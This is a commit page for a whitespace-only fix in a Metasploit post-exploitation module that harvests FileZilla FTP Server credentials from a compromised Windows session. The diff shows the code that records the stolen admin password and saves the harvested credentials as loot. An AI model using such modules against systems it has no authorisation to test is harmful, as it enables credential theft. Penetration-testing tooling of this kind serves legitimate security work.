Skip to content

Commit 4416f1c

Browse files
author
Charles Smith
committed
Fixed mixed tabs that prevented build completion.
1 parent ae6dbee commit 4416f1c

File tree

1 file changed

+17
-17
lines changed

1 file changed

+17
-17
lines changed

modules/post/windows/gather/credentials/filezilla_server.rb

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -193,25 +193,25 @@ def get_filezilla_creds(paths)
193193
end
194194
# report the goods!
195195
if config['admin_port'] == "<none>"
196-
#if report_auth_info executes with admin_port equal to "<none>"
197-
#the module will crash with an error.
198-
vprint_status("(No admin information found.)")
196+
#if report_auth_info executes with admin_port equal to "<none>"
197+
#the module will crash with an error.
198+
vprint_status("(No admin information found.)")
199199
else
200-
report_auth_info(
201-
:host => session.sock.peerhost,
202-
:port => config['admin_port'],
203-
:sname => 'filezilla-admin',
204-
:proto => 'tcp',
205-
:user => 'admin',
206-
:pass => config['admin_pass'],
207-
:type => "password",
208-
:source_id => source_id,
209-
:source_type => "exploit",
210-
:target_host => config['admin_bindip'],
211-
:target_port => config['admin_port']
212-
)
200+
report_auth_info(
201+
:host => session.sock.peerhost,
202+
:port => config['admin_port'],
203+
:sname => 'filezilla-admin',
204+
:proto => 'tcp',
205+
:user => 'admin',
206+
:pass => config['admin_pass'],
207+
:type => "password",
208+
:source_id => source_id,
209+
:source_type => "exploit",
210+
:target_host => config['admin_bindip'],
211+
:target_port => config['admin_port']
212+
)
213213
end
214-
214+
215215
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
216216
"filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")
217217

0 commit comments

Comments
 (0)